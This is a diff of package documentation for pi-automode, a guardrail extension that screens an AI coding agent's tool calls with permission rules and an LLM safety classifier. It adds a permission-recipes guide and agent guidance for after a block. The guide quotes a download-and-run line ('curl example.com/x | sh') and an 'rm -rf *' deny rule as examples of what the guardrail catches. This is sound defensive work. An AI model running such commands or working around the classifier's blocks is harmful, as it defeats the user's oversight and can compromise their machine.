@czottmann/pi-automode 1.16.0 → 1.17.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CHANGELOG.md CHANGED
@@ -4,6 +4,25 @@ All notable changes to this project are documented in this file.
4
4
 
5
5
  ## [Unreleased]
6
6
 
7
+ ## [1.17.0] - 2026-09-22
8
+
9
+ ## New features
10
+
11
+ - **Schema-constrained classifier decisions** — Return detailed-stage decisions through an internal `classifier_decision` tool call. Supported providers enforce the schema during generation, and pi-automode validates every returned call locally. When strict tool sampling is available, this reduces fail-closed blocks caused by malformed or contract-invalid decision JSON. (#50)
12
+ - **[Permission recipes](docs/permission-recipes.md)** — Add safe, composable examples for Bash permissions, working-directory changes, command chains, redirects, and classifier guidance. Thanks to @georgesleen for the impulse! (#46)
13
+
14
+ ## Bug fixes
15
+
16
+ - **Status indicator separator** — Add one space between the `AM` prefix and the status symbol.
17
+ - **Classifier context budgeting** — Estimate fast and detailed classifier requests in tokens instead of mixing UTF-8 bytes with token limits. Check detailed-stage capacity only after the fast stage requests review. Large project contexts no longer block small actions that fit. (#37)
18
+ - **Explicit blocked-action feedback** — State that blocked tools did not run. Tell the agent not to claim success or rely on blocked effects. Require a report before dependent work continues. (#38)
19
+ - **Shared classifier reasoning reserves** — Use OMP 18 Anthropic reasoning budgets for classifier context checks under Pi and OMP. Reserve 4,096 tokens at `low` and 32,768 tokens at `xhigh` and `max` for all classifier providers. (#51)
20
+ - **Pi 0.86 classifier compatibility** — Route explicit-reasoning classifier calls through the model registry's normalized streaming API. Keep direct-provider support for older Pi versions and the compat fallback for OMP 18. (#52)
21
+ - **Dynamic Bash allow coverage** — Route commands with unresolved Bash argument expansions or active pathname expansions to classifier review. Preserve static quoted, escaped, and ANSI-C glob literals. (#54)
22
+ - **Classifier model validation** — Reject non-string and malformed `classifierModel` values during diagnostics and configuration merging. Preserve valid lower-precedence values and the session-model fallback. Prevent invalid configuration from causing tool-hook exceptions. (#55)
23
+ - **Malformed permission deny diagnostics** — Report malformed `permissions.deny` patterns with their configuration source and list index. Preserve fail-closed deny matching and no-match allow behavior. (#56)
24
+ - **Cancelled tool-call accounting** — Route already-cancelled calls through the standard block path. Record counters, denial history, persisted state, UI updates, and decision logs without Bash analysis or classifier work. (#57)
25
+
7
26
  ## [1.16.0] - 2026-09-07
8
27
 
9
28
  ## New features
@@ -62,7 +81,8 @@ All notable changes to this project are documented in this file.
62
81
  - **Project config trust gate** — Ignore `.pi/automode.local.json` and `.pi/automode.json` until Pi trusts the project. Apply the trust gate during startup and config reloads. (#16)
63
82
  - **In-memory observability logs** — Write logs to an extension-owned directory (`~/.pi/agent/extensions/pi-automode/logs/`) instead of the launching project directory. Thanks, @HerbertGao! (#13)
64
83
 
65
- [Unreleased]: https://github.com/czottmann/pi-automode/compare/v1.16.0...HEAD
84
+ [Unreleased]: https://github.com/czottmann/pi-automode/compare/v1.17.0...HEAD
85
+ [1.17.0]: https://github.com/czottmann/pi-automode/compare/v1.16.0...v1.17.0
66
86
  [1.16.0]: https://github.com/czottmann/pi-automode/compare/v1.15.0...v1.16.0
67
87
  [1.15.0]: https://github.com/czottmann/pi-automode/compare/v1.14.0...v1.15.0
68
88
  [1.14.0]: https://github.com/czottmann/pi-automode/compare/v1.13.0...v1.14.0
package/README.md CHANGED
@@ -79,7 +79,7 @@ The bundled `automode-diagnostics` skill uses this tool to diagnose unexpected d
79
79
  When the Pi TUI is available, the extension renders a persistent status line:
80
80
 
81
81
  ```text
82
- AM● a:12 d:2 ca:5 cd:1
82
+ AM ● a:12 d:2 ca:5 cd:1
83
83
  ```
84
84
 
85
85
  - `AM` — auto-mode prefix. `●` means enabled. `○` means disabled through configuration or `/automode off`.
@@ -90,6 +90,7 @@ AM● a:12 d:2 ca:5 cd:1
90
90
  ## Docs
91
91
 
92
92
  - [Configuration](docs/configuration.md)
93
+ - [Permission recipes](docs/permission-recipes.md)
93
94
  - [Defaults and rule-list behavior](docs/defaults.md)
94
95
  - [Auto-mode classifier flow](docs/automode-classifier-flow.md)
95
96
  - [Observability logging](docs/observability-logging.md)
@@ -122,37 +123,21 @@ The list does not govern `bash`. The classifier and deterministic hard-deny chec
122
123
 
123
124
  The value `allowInsideWorkingDirectory: true` allows file access inside the working directory locally. Pi-automode sends all outside file access to the classifier, including reads.
124
125
 
125
- Classification starts with a conservative one-token filter. If the filter requests review, pi-automode runs structured review.
126
+ Classification starts with a conservative one-token filter. If the filter requests review, pi-automode requests one internal `classifier_decision` tool call.
126
127
 
127
- Both stages receive the complete current tool input in a dedicated message. Transcript truncation cannot remove action content. If the exact input cannot fit in the classifier context, auto mode blocks the call.
128
+ The tool exists only in the nested classifier request. It is not registered with `pi.registerTool()`, and the main agent cannot call it.
129
+
130
+ Pi AI requests schema-constrained sampling with `strict: "prefer"`. Supported providers enforce the schema during generation. Pi-automode validates every returned tool call locally.
128
131
 
129
- Both stages use a classifier-specific session key. They request short cache retention from providers that support it. A missing model, provider failure, or malformed response blocks the action.
132
+ Both stages receive the complete current tool input in a dedicated message. Transcript truncation cannot remove action content. If the exact input cannot fit in the classifier context, auto mode blocks the call.
130
133
 
134
+ Both stages use a classifier-specific session key. They request short cache retention from providers that support it. A missing model, provider failure, or invalid response blocks the action.
131
135
  Pi-automode parses Bash structure with `unbash` before permission and deterministic hard-deny checks. The analysis includes nested commands and literal shell-wrapper scripts. A Bash parse error blocks the action.
132
136
 
133
137
  ## Examples
134
138
 
135
139
  - `examples/automode.local.json`: copy to `.pi/automode.local.json` in a project and edit the domains, buckets, and source-control org.
136
-
137
- ### Pro tip
138
-
139
- The default rule set might cause denials like this:
140
-
141
- > Auto mode blocked subagent: Delegated workers would modify pre-existing files outside the user's bounded authorization, including migrations, CLI code, and approval documentation.
142
-
143
- This is to be expected as the included classifier rules are very conservative and err on the side of caution! To explicitly give your robot more leeway, adjust your global `autoMode.allow` entry (or its project-level counterparts). For example, my personal `~/.pi/agent/extensions/pi-automode/config.json` file looks like this:
144
-
145
- ```json
146
- {
147
- "autoMode": {
148
- "allow": [
149
- "$defaults",
150
- "Creating, modifying, and deleting local files within the Git repository or worktree. This includes pre-existing source code, migrations, CLI code, tests, and project documentation. This permission applies only to local implementation work and excludes files outside the assigned repository/worktree, external systems, credentials, safety controls, and Git history changes."
151
- ],
152
-
153
- }
154
- }
155
- ```
140
+ - [Permission recipes](docs/permission-recipes.md): use narrow examples for common permission and classifier-policy changes.
156
141
 
157
142
  ## Known limits
158
143
 
@@ -176,12 +161,12 @@ The tests cover these safety-sensitive areas:
176
161
  - classifier routing for `write` and `edit`
177
162
  - symlink-aware safety-control checks
178
163
  - token-budgeted transcript selection
179
- - staged classifier parsing and cache behavior
164
+ - staged classifier tool-call parsing and cache behavior
180
165
  - hook-level allow and block behavior
181
166
 
182
167
  ## Publishing
183
168
 
184
- When a maintainer publishes a GitHub Release, GitHub Actions publishes the package to npm. The release tag must match `package.json` exactly. The forms `v1.0.0` and `1.0.0` both match version `1.0.0`.
169
+ When a maintainer publishes a GitHub Release, GitHub Actions publishes the package to npm. The required release tag format is `v<version>`. The `<version>` value must be the same as the version in `package.json`. For example, version `1.0.0` requires tag `v1.0.0`.
185
170
 
186
171
  The workflow uses npm Trusted Publishing, so it does not need an npm token secret. Configure this package on npm with this repository and workflow file (`.github/workflows/publish.yml`). The workflow builds the package, runs `npm run check`, and publishes with npm provenance.
187
172
 
package/docs/GLOSSARY.md CHANGED
@@ -18,7 +18,7 @@ The enforcement flow is the ordered pipeline that runs before each agent tool ca
18
18
 
19
19
  **Fast stage** — The first classifier stage. It returns `0` for a clearly allowed action or `1` for an action that can require review.
20
20
 
21
- **Detailed stage** — The second classifier stage. It runs after a fast-stage review result and returns a structured allow or block decision.
21
+ **Detailed stage** — The second classifier stage. It runs after a fast-stage review result. It returns one schema-validated `classifier_decision` tool call.
22
22
 
23
23
  ## Classifier policy and rules
24
24
 
@@ -67,8 +67,8 @@ flowchart TD
67
67
  N --> O{Exact safe token?}
68
68
  O -- yes --> Q[Allow tool]
69
69
  O -- malformed or error --> O1[Block: fail closed]
70
- O -- review --> P[Run structured review]
71
- P --> P1{Valid allow decision?}
70
+ O -- review --> P[Request classifier_decision tool call]
71
+ P --> P1{Valid allow decision tool call?}
72
72
  P1 -- yes --> Q
73
73
  P1 -- no or error --> R[Block with classifier reason]
74
74
 
@@ -260,23 +260,21 @@ The prompt defines the policy semantics:
260
260
  - the classifier cannot invent deny rules or treat the allow-exception list as exhaustive
261
261
  - the classifier allows actions that match no hard-deny or soft-deny rule
262
262
 
263
- The fast stage must return exactly `0` for clearly allowed or `1` for review. A `1` response triggers the detailed stage, whose required JSON shape is:
263
+ The fast stage must return exactly `0` for clearly allowed or `1` for review. A `1` response triggers the detailed stage.
264
264
 
265
- ```json
266
- {"decision":"allow","tier":"allow","reason":"brief concrete reason"}
267
- ```
265
+ The detailed request provides one internal `classifier_decision` tool. This tool exists only in the nested classifier context.
268
266
 
269
- or:
267
+ Pi-automode does not register the tool with `pi.registerTool()`, and it has no execution handler. Thus, the main agent cannot call it.
270
268
 
271
- ```json
272
- {"decision":"block","tier":"soft_deny","reason":"brief concrete reason"}
273
- ```
269
+ The tool has these arguments:
274
270
 
275
- Valid `tier` values are:
271
+ - `decision`: `allow` or `block`
272
+ - `tier`: `hard_deny`, `soft_deny`, `allow`, `explicit_intent`, or `none`
273
+ - `reason`: a non-empty string
276
274
 
277
- ```text
278
- hard_deny, soft_deny, allow, explicit_intent, none
279
- ```
275
+ The schema requires all three fields and permits no additional fields. Pi AI requests JSON Schema constrained sampling with `strict: "prefer"`.
276
+
277
+ A provider that supports strict tool sampling enforces the schema during generation. Other providers can return a normal tool call, which pi-automode validates locally.
280
278
 
281
279
  An `allow` decision can use `allow`, `explicit_intent`, or `none`. A `block` decision can use `hard_deny`, `soft_deny`, or `none`.
282
280
 
@@ -303,9 +301,13 @@ separate from the transcript. Pi-automode does not truncate it:
303
301
  {"toolName":"bash","input":{"command":"npm test"}}
304
302
  ```
305
303
 
306
- Both classifier stages receive the same context message and exact action
307
- message. If the exact action cannot fit in the classifier model's context
308
- window, auto mode blocks the call instead of removing action content.
304
+ The fast and detailed stages receive the same context message and complete action message. Pi-automode checks each request before it sends the request. The estimate includes the system prompt, user-message text, and the stage instruction. For the detailed stage, the estimate also includes the serialized tool schema.
305
+
306
+ The estimate matches Pi 0.86. It uses `Math.ceil(text.length / 4)`, where `text.length` counts UTF-16 code units. Pi-automode also reserves the stage output limit and the configured reasoning budget. It keeps Pi's 4,096-token context margin.
307
+
308
+ Pi-automode checks the fast request before the fast-stage call. A fast result of `0` allows the action. Pi-automode does not check the unused detailed request. After a fast result of `1`, pi-automode checks the detailed request. This request includes the `classifier_decision` schema and the larger detailed output reserve.
309
+
310
+ If a stage request cannot fit in the classifier model's context window, auto mode blocks the call. It does not truncate the action.
309
311
 
310
312
  Pi-automode builds the transcript from active Pi context entries. It includes only:
311
313
 
@@ -345,13 +347,15 @@ No classifier model/API key available; auto mode fails closed.
345
347
 
346
348
  Classifier calls use `ctx.signal`, a stable classifier-specific session ID, and `cacheRetention: "short"`. They do not set a temperature because some providers reject it. The calls use provider defaults instead. Providers without cache affinity ignore that option.
347
349
 
350
+ The detailed request does not use provider-specific forced tool selection. Its instruction requires exactly one `classifier_decision` call. Missing or invalid calls fail closed.
351
+
348
352
  `autoMode.classifierTimeoutMs` limits each fast-stage and detailed-stage request. The default is 20000 ms.
349
353
 
350
354
  If a request exceeds its budget, pi-automode aborts it and blocks the action. A stalled provider stream has the same result.
351
355
 
352
356
  The fast stage requires one visible digit and uses `maxTokens: 512`. Reasoning models can use hidden tokens before they emit the digit.
353
357
 
354
- Extra visible content fails parsing. Detailed review uses `maxTokens: 1200`. It can retry once after malformed or truncated output.
358
+ Extra visible content fails fast-stage parsing. Detailed review uses `maxTokens: 1200`. It can retry once after a missing, invalid, or truncated decision tool call.
355
359
 
356
360
  ## Parsing the classifier result
357
361
 
@@ -359,19 +363,37 @@ The fast-stage parser requires `stopReason: "stop"`. It removes surrounding whit
359
363
 
360
364
  Empty responses, additional content, malformed output, and non-stop responses block immediately. Observability logs preserve the untrimmed model response.
361
365
 
362
- The detailed parser accepts only the requested JSON object from a response with `stopReason: "stop"`. It requires `decision`, `tier`, and `reason`.
366
+ The detailed parser requires `stopReason: "toolUse"` and exactly one `classifier_decision` call. The response must not contain non-empty visible text.
367
+
368
+ The arguments must contain exactly `decision`, `tier`, and `reason`. Each value must have the required type and an allowed enum value.
369
+
370
+ The parser also checks the decision and tier combination. It rejects extra fields, unknown tiers, contradictory combinations, and empty reasons.
363
371
 
364
- The parser rejects wrappers, extra fields, unknown tiers, and empty reasons. If the response shape changes, it fails closed.
372
+ A response with `stopReason: "length"` can cause one retry. A missing or invalid decision tool call also can cause one retry.
365
373
 
366
- A response with `stopReason: "length"` can cause one retry. The truncated response cannot authorize an action. Other non-stop responses block immediately.
374
+ A truncated or invalid response cannot authorize an action. Error and aborted responses block immediately.
367
375
 
368
376
  If detailed parsing fails after its retry, pi-automode blocks the action with this reason:
369
377
 
370
378
  ```text
371
- Classifier response was not valid decision JSON; auto mode fails closed.
379
+ Classifier response did not contain a valid classifier decision tool call; auto mode fails closed.
372
380
  ```
373
381
 
374
- If the model call throws or returns an error or aborted response, pi-automode blocks the action immediately. It uses a classifier failure message.
382
+ If the model call throws, pi-automode blocks the action immediately. It uses a classifier failure message.
383
+
384
+ ## Agent behavior after a blocked tool call
385
+
386
+ Pi converts a blocked hook response into an error result and does not run the tool. Pi-automode does not set `terminate: true`, so Pi can request the next model response.
387
+
388
+ The result states that the tool did not run and preserves the denial reason. The result and the Auto Mode guidance instruct the agent to:
389
+
390
+ - report the block to the user before work that depends on the blocked action continues
391
+ - not claim success or rely on effects from the blocked action
392
+ - not try an equivalent workaround
393
+
394
+ Independent work can continue. Interactive approval stays limited to configured `permissions.ask` rules. Classifier and deterministic denials stay final.
395
+
396
+ These instructions decrease ambiguity in the model context. They do not guarantee that each model will follow the instructions.
375
397
 
376
398
  ## State, UI, and denial history
377
399
 
@@ -169,3 +169,38 @@ A pattern can contain at most 4,096 UTF-16 code units. Bash analysis accepts at
169
169
  For other allow matching, an input can contain at most 1,048,576 UTF-16 code units. A longer input returns no match. Deny and ask patterns match the same oversized input so that they fail closed.
170
170
 
171
171
  `write` and `edit` calls whose resolved target is a protected path are never covered by `permissions.allow`. This includes protected targets reached through symlink aliases.
172
+
173
+ See [Permission recipes](permission-recipes.md) for narrow examples of Bash permissions, directory changes, command chains, redirects, and classifier guidance.
174
+
175
+ ## Custom models (like OpenRouter's presets)
176
+
177
+ Pi-automode can only select models that Pi exposes through its model registry. Add unlisted models to `~/.pi/agent/models.json`.
178
+
179
+ For example, register an OpenRouter preset in the built-in `openrouter` provider:
180
+
181
+ ```json
182
+ {
183
+ "providers": {
184
+ "openrouter": {
185
+ "models": [
186
+ {
187
+ "id": "@preset/nvidia-nemotron-3-nano-30b-a3b-fast",
188
+ "name": "NVIDIA: Nemotron 3 Nano 30B A3B Fast (Preset)",
189
+ "reasoning": true,
190
+ "input": ["text"],
191
+ "contextWindow": 262144,
192
+ "maxTokens": 235929,
193
+ "cost": {
194
+ "input": 0.05,
195
+ "output": 0.2,
196
+ "cacheRead": 0.03,
197
+ "cacheWrite": 0
198
+ }
199
+ }
200
+ ]
201
+ }
202
+ }
203
+ }
204
+ ```
205
+
206
+ Restart Pi (or run `/reload`), then select the model with `/automode model openrouter/@preset/nvidia-nemotron-3-nano-30b-a3b-fast`.
@@ -38,7 +38,7 @@ Pi sends tool output to the current model. The output has deliberate privacy lim
38
38
 
39
39
  - `status` does not include the last decision reason.
40
40
  - `denials` does not include denial reasons or action payloads.
41
- - `config` removes the parser detail from invalid JSON diagnostics.
41
+ - `config` removes configuration-parser details from invalid JSON diagnostics.
42
42
 
43
43
  The `config` view returns effective rule text. Do not put credentials, tokens, private keys, signed URLs, or other secrets in pi-automode rules or configuration.
44
44
 
@@ -72,6 +72,12 @@ This includes `--no-session` runs and non-persisted subagents. The path does not
72
72
 
73
73
  See [Observability logging](observability-logging.md) for log configuration and entry schemas.
74
74
 
75
+ ## Classifier protocol failures
76
+
77
+ When classifier I/O logging is active, a detailed-stage tool call appears in `attempts[].response.toolCalls`. The field contains each tool name and argument object.
78
+
79
+ The field does not contain provider call IDs or hidden reasoning. Use it to distinguish a missing tool call from invalid tool arguments.
80
+
75
81
  ## Diagnosis workflow
76
82
 
77
83
  Classifier rules cannot override permission or deterministic denials.
@@ -134,7 +134,8 @@ The entry follows all related classifier-usage `message` entries. It precedes th
134
134
  Each `attempts[]` entry is `{ stage, attempt, response?, parsed?, error?, durationMs }`:
135
135
 
136
136
  - `stage` — `fast` for the one-token filter or `detailed` for structured review.
137
- - `response` — `{ stopReason, text, model, timestamp, usage, errorMessage? }`, the raw model output and provider-reported usage for that call, including provider-reported errors and aborted requests.
137
+ - `response` — `{ stopReason, text, toolCalls?, model, timestamp, usage, errorMessage? }`, including provider-reported errors and aborted requests.
138
+ - `response.toolCalls` — each classifier tool name and parsed argument object. This field excludes provider call IDs and hidden reasoning.
138
139
  - `parsed` — the decision parsed from the response, or absent after a parse failure.
139
140
  - `error` — present after a network or authentication error. In this case, `response` is absent.
140
141
 
@@ -0,0 +1,243 @@
1
+ # Permission recipes
2
+
3
+ Use these recipes to add narrow permissions and classifier guidance to pi-automode. Each example omits unrelated configuration.
4
+
5
+ > [!CAUTION]
6
+ > Pi-automode is a guardrail extension, not a sandbox. A `permissions.allow` match skips classifier review. Add only rules whose complete effect you understand.
7
+
8
+ ## Table of contents
9
+
10
+ - [Before you add a rule](#before-you-add-a-rule)
11
+ - [Choose the correct rule type](#choose-the-correct-rule-type)
12
+ - [Allow a simple Bash command](#allow-a-simple-bash-command)
13
+ - [Allow commands after changing directories](#allow-commands-after-changing-directories)
14
+ - [Allow command chains and pipelines](#allow-command-chains-and-pipelines)
15
+ - [Allow redirects](#allow-redirects)
16
+ - [Ask before sensitive commands](#ask-before-sensitive-commands)
17
+ - [Deny commands unconditionally](#deny-commands-unconditionally)
18
+ - [Give the classifier more freedom inside a repository](#give-the-classifier-more-freedom-inside-a-repository)
19
+ - [Diagnose a rule that does not match](#diagnose-a-rule-that-does-not-match)
20
+ - [Avoid unsafe patterns](#avoid-unsafe-patterns)
21
+ - [Related documentation](#related-documentation)
22
+
23
+ ## Before you add a rule
24
+
25
+ Use the narrowest rule that covers the required action. When possible, include exact command names and trusted paths.
26
+
27
+ A permission rule can have more authority than classifier guidance. In particular, `permissions.allow` skips classifier review for a matching tool call. Permission denies, deterministic hard-deny checks, denied paths, and protected-path controls remain active.
28
+
29
+ Do not put credentials, tokens, private keys, signed URLs, or other secrets in a rule. The effective configuration can appear in diagnostics and model-visible inspection output.
30
+
31
+ Pi-automode reads `permissions.allow` only from these sources:
32
+
33
+ - the global pi-automode configuration
34
+ - a trusted `.pi/automode.local.json` file
35
+ - `PI_AUTOMODE_SETTINGS_JSON`
36
+
37
+ A shared project `.pi/automode.json` file cannot add allow rules.
38
+
39
+ ## Choose the correct rule type
40
+
41
+ | Configuration | Purpose |
42
+ | --- | --- |
43
+ | `permissions.deny` | Block a matching tool call without classifier review. |
44
+ | `permissions.ask` | Ask for confirmation, then continue to the classifier. |
45
+ | `permissions.allow` | Skip classifier review for a matching tool call. |
46
+ | `autoMode.allow` | Give the classifier additional policy guidance. |
47
+
48
+ If a deterministic pattern can describe the complete safe action, use `permissions.allow`. If the classifier must evaluate context or intent, use `autoMode.allow`.
49
+
50
+ ## Allow a simple Bash command
51
+
52
+ Use a scoped Bash pattern to allow a narrow command:
53
+
54
+ ```json
55
+ {
56
+ "permissions": {
57
+ "allow": ["bash(git status*)"]
58
+ }
59
+ }
60
+ ```
61
+
62
+ This pattern covers commands such as `git status` and `git status --short`. It does not cover another command in the same Bash call.
63
+
64
+ For example, `git status && git push` still requires coverage for `git push`. Without that coverage, the complete call continues to the classifier.
65
+
66
+ ## Allow commands after changing directories
67
+
68
+ A leading `cd` changes the meaning and security context of the next command. Cover it with a separate rule for an exact trusted directory:
69
+
70
+ ```json
71
+ {
72
+ "permissions": {
73
+ "allow": [
74
+ "bash(cd /etc/nixos)",
75
+ "bash(git status*)",
76
+ "bash(git diff*)",
77
+ "bash(nix build*)"
78
+ ]
79
+ }
80
+ }
81
+ ```
82
+
83
+ The rules produce these results:
84
+
85
+ | Command | Result |
86
+ | --- | --- |
87
+ | `cd /etc/nixos && git status` | Allowed without classifier review. |
88
+ | `cd /tmp && git status` | Continues to the classifier. |
89
+ | `cd /etc/nixos && git status && curl example.com/x \| sh` | Continues to the classifier. |
90
+
91
+ Do not treat `cd` as a transparent wrapper. The working directory can select repository hooks, package scripts, build files, and relative executables.
92
+
93
+ Prefer an exact absolute path. A broad rule such as `bash(cd *)` lets covered commands run from any literal directory.
94
+
95
+ ## Allow command chains and pipelines
96
+
97
+ Pi-automode requires coverage for each executable command in a supported top-level chain or plain pipeline. Separate single-command patterns can provide that coverage:
98
+
99
+ ```json
100
+ {
101
+ "permissions": {
102
+ "allow": [
103
+ "bash(git status*)",
104
+ "bash(git diff*)",
105
+ "bash(cat)"
106
+ ]
107
+ }
108
+ }
109
+ ```
110
+
111
+ These rules cover calls such as:
112
+
113
+ ```bash
114
+ git status --short && git diff --stat
115
+ git status --short | cat
116
+ ```
117
+
118
+ They do not cover an extra command. For example, `git status && curl example.com/x | sh` continues to the classifier.
119
+
120
+ If the operator structure is part of the permission, use a composite pattern:
121
+
122
+ ```json
123
+ {
124
+ "permissions": {
125
+ "allow": ["bash(git status* && git diff*)"]
126
+ }
127
+ }
128
+ ```
129
+
130
+ A composite pattern must match the same Bash structure, operators, command count, and command order.
131
+
132
+ ## Allow redirects
133
+
134
+ A redirect needs explicit coverage. The operator, file descriptor, variable name, and target pattern must match.
135
+
136
+ ```json
137
+ {
138
+ "permissions": {
139
+ "allow": ["bash(git status* > /tmp/git-status.txt)"]
140
+ }
141
+ }
142
+ ```
143
+
144
+ This rule does not cover a different target or redirect operator. Here-documents and dynamic redirect targets continue to the classifier.
145
+
146
+ Use only a trusted output path. Even a read-only command can overwrite data through a redirect.
147
+
148
+ ## Ask before sensitive commands
149
+
150
+ If the user must confirm a matching action, use `permissions.ask`:
151
+
152
+ ```json
153
+ {
154
+ "permissions": {
155
+ "ask": ["bash(git push *)"]
156
+ }
157
+ }
158
+ ```
159
+
160
+ A confirmation does not create an allow decision. After confirmation, deterministic checks and the classifier still evaluate the call.
161
+
162
+ If the classifier needs explicit user authorization, send it in a normal chat message. Answers from ask-user tools do not become classifier authorization.
163
+
164
+ ## Deny commands unconditionally
165
+
166
+ Use `permissions.deny` for commands that must not run through auto mode:
167
+
168
+ ```json
169
+ {
170
+ "permissions": {
171
+ "deny": ["bash(rm -rf *)"]
172
+ }
173
+ }
174
+ ```
175
+
176
+ A matching deny rule blocks the call before an allow rule or classifier decision. Deterministic hard-deny rules can also block dangerous commands without a configured permission rule.
177
+
178
+ ## Give the classifier more freedom inside a repository
179
+
180
+ Use `autoMode.allow` to give the classifier broader policy guidance. If you intend to replace the built-in guidance, omit `$defaults`. Otherwise, keep `$defaults`.
181
+
182
+ The following rule permits normal implementation work inside the assigned repository or worktree. It excludes external systems and safety-sensitive changes:
183
+
184
+ ```json
185
+ {
186
+ "autoMode": {
187
+ "allow": [
188
+ "$defaults",
189
+ "Creating, modifying, and deleting local files within the Git repository or worktree. This includes pre-existing source code, migrations, CLI code, tests, and project documentation. This permission applies only to local implementation work and excludes files outside the assigned repository or worktree, external systems, credentials, safety controls, and Git history changes."
190
+ ]
191
+ }
192
+ }
193
+ ```
194
+
195
+ This setting guides the classifier. It does not create a deterministic tool permission and does not override permission denies or hard-deny checks.
196
+
197
+ ## Diagnose a rule that does not match
198
+
199
+ 1. Run `/automode config` or inspect the `config` view of `automode_inspect`.
200
+ 2. Confirm that the expected rule appears in the effective configuration.
201
+ 3. Inspect `/automode denials` or the `denials` view to identify the enforcement layer.
202
+ 4. If you enabled observability logging, inspect the matching decision entry.
203
+ 5. For Bash, identify each executable command, operator, and redirect in the call.
204
+ 6. Add only the narrowest missing coverage.
205
+ 7. Run `/automode reload` after a configuration change.
206
+
207
+ Parser errors, dynamic command names, dynamic wrapper scripts, and unsupported control structures cannot use `permissions.allow`. These calls continue to the classifier or fail closed.
208
+
209
+ See [Agent diagnostics](diagnostics.md) for the complete diagnosis workflow. See [Observability logging](observability-logging.md) for log locations and entry schemas.
210
+
211
+ ## Avoid unsafe patterns
212
+
213
+ Avoid broad deterministic allows such as:
214
+
215
+ ```json
216
+ {
217
+ "permissions": {
218
+ "allow": [
219
+ "bash(*)",
220
+ "bash(cd *)",
221
+ "bash(curl*)"
222
+ ]
223
+ }
224
+ }
225
+ ```
226
+
227
+ These patterns can grant more authority than their short text suggests.
228
+
229
+ Also avoid these mistakes:
230
+
231
+ - If you want to keep the built-in `autoMode` rule list, include `$defaults`.
232
+ - If an exact trusted path is available, do not use a broad path wildcard.
233
+ - Do not allow commands such as `npm test` or `nix build` across arbitrary directories. These commands can execute project-controlled code.
234
+ - If classifier policy is sufficient, do not use `permissions.allow`.
235
+ - Do not present pi-automode as a security boundary or sandbox.
236
+
237
+ ## Related documentation
238
+
239
+ - [Configuration](configuration.md)
240
+ - [Defaults and rule-list behavior](defaults.md)
241
+ - [Agent diagnostics](diagnostics.md)
242
+ - [Auto-mode classifier flow](automode-classifier-flow.md)
243
+ - [Observability logging](observability-logging.md)